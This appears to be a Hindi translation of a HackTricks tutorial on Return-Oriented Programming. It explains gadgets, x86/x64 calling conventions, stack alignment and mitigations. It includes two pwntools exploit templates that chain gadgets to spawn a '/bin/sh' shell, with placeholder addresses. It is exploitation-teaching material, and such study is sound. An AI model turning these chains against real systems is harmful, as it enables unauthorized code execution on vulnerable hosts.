ROP - Return Oriented Programing

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Return-Oriented Programming (ROP) एक उन्नत शोषण तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे No-Execute (NX) या Data Execution Prevention (DEP) को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे "gadgets" कहा जाता है। प्रत्येक gadget आमतौर पर एक ret निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर मनचाहे ऑपरेशन करने के लिए एक पेलोड तैयार कर सकता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार कर सकता है।

ROP कैसे काम करता है

  1. नियंत्रण प्रवाह हाईजैकिंग: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाईजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
  2. Gadget चेनिंग: फिर हमलावर सावधानीपूर्वक इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, system("/bin/sh")), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
  3. पेलोड निष्पादन: जब कमजोर फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।

उपकरण

आमतौर पर, gadgets को ROPgadget, ropper या सीधे pwntools (ROP) का उपयोग करके पाया जा सकता है।

x86 उदाहरण में ROP चेन

x86 (32-बिट) कॉलिंग सम्मेलन

  • cdecl: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। तर्कों को स्टैक पर दाएं से बाएं धकेला जाता है।
  • stdcall: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है।

Gadgets खोजना

पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान कर ली है। जिन gadgets में हमारी रुचि है, वे हैं:

  • pop eax; ret: यह gadget स्टैक के शीर्ष मान को EAX रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमें EAX को नियंत्रित करने की अनुमति मिलती है।
  • pop ebx; ret: ऊपर के समान, लेकिन EBX रजिस्टर के लिए, जिससे EBX पर नियंत्रण प्राप्त होता है।
  • mov [ebx], eax; ret: EAX में मान को EBX द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर write-what-where gadget कहा जाता है।
  • इसके अतिरिक्त, हमारे पास system() फ़ंक्शन का पता उपलब्ध है।

ROP चेन

pwntools का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य system('/bin/sh') को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है:

  1. संरेखण उद्देश्यों के लिए एक ret निर्देश (वैकल्पिक)
  2. system फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी के लिए Ret2lib)
  3. system() से लौटने के पते के लिए प्लेसहोल्डर
  4. "/bin/sh" स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • System V AMD64 ABI कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ पहले छह पूर्णांक या पॉइंटर तर्क RDI, RSI, RDX, RCX, R8, और R9 में पास किए जाते हैं। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान RAX में रखा जाता है।
  • Windows x64 कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए RCX, RDX, R8, और R9 का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। लौटने का मान RAX में रखा जाता है।
  • Registers: 64-बिट रजिस्टर में RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, और R8 से R15 शामिल हैं।

Finding Gadgets

हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें RDI रजिस्टर सेट करने की अनुमति देंगे (ताकि system() को तर्क के रूप में "/bin/sh" स्ट्रिंग पास कर सकें) और फिर system() फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:

  • pop rdi; ret: स्टैक के शीर्ष मान को RDI में पॉप करता है और फिर लौटता है। system() के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
  • ret: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी।

और हम system() फ़ंक्शन का पता जानते हैं।

ROP Chain

नीचे pwntools का उपयोग करके एक उदाहरण दिया गया है जो system('/bin/sh') को x64 पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

इस उदाहरण में:

  • हम pop rdi; ret गैजेट का उपयोग करते हैं ताकि RDI को "/bin/sh" के पते पर सेट किया जा सके।
  • हम RDI सेट करने के बाद सीधे system() पर कूदते हैं, जिसमें system() का पता श्रृंखला में होता है।
  • यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए ret_gadget का उपयोग किया जाता है, जो x64 में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।

स्टैक संरेखण

x86-64 ABI सुनिश्चित करता है कि जब call instruction निष्पादित होती है, तो स्टैक 16-बाइट संरेखित होता है। LIBC, प्रदर्शन को अनुकूलित करने के लिए, SSE निर्देशों (जैसे movaps) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि RSP 16 का गुणांक नहीं है), तो ROP श्रृंखला में system जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, बस system को कॉल करने से पहले अपनी ROP श्रृंखला में एक ret gadget जोड़ें।

x86 बनाम x64 मुख्य अंतर

tip

चूंकि x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है, इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या और पता स्थान बड़ा होता है। x64 आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पते के स्थान में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान करती हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में।

ARM64 उदाहरण में ROP श्रृंखला

ARM64 मूल बातें और कॉलिंग सम्मेलन

इस जानकारी के लिए निम्नलिखित पृष्ठ देखें:

Introduction to ARM64v8

ROP के खिलाफ सुरक्षा

  • ASLR और PIE: ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं।
  • स्टैक कैनरीज़: BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले प्वाइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है।
  • गैजेट्स की कमी: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा।

ROP आधारित तकनीकें

ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने की एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं:

  • Ret2lib: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे system('/bin/sh')

Ret2lib

  • Ret2Syscall: ROP का उपयोग करके syscall के लिए कॉल तैयार करें, जैसे execve, और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं।

Ret2syscall

  • EBP2Ret और EBP चेनिंग: पहला EIP के बजाय EBP का दुरुपयोग करेगा ताकि प्रवाह को नियंत्रित किया जा सके और दूसरा Ret2lib के समान है लेकिन इस मामले में प्रवाह मुख्य रूप से EBP पते के साथ नियंत्रित होता है (हालांकि EIP को भी नियंत्रित करना आवश्यक है)।

Stack Pivoting - EBP2Ret - EBP chaining

अन्य उदाहरण और संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें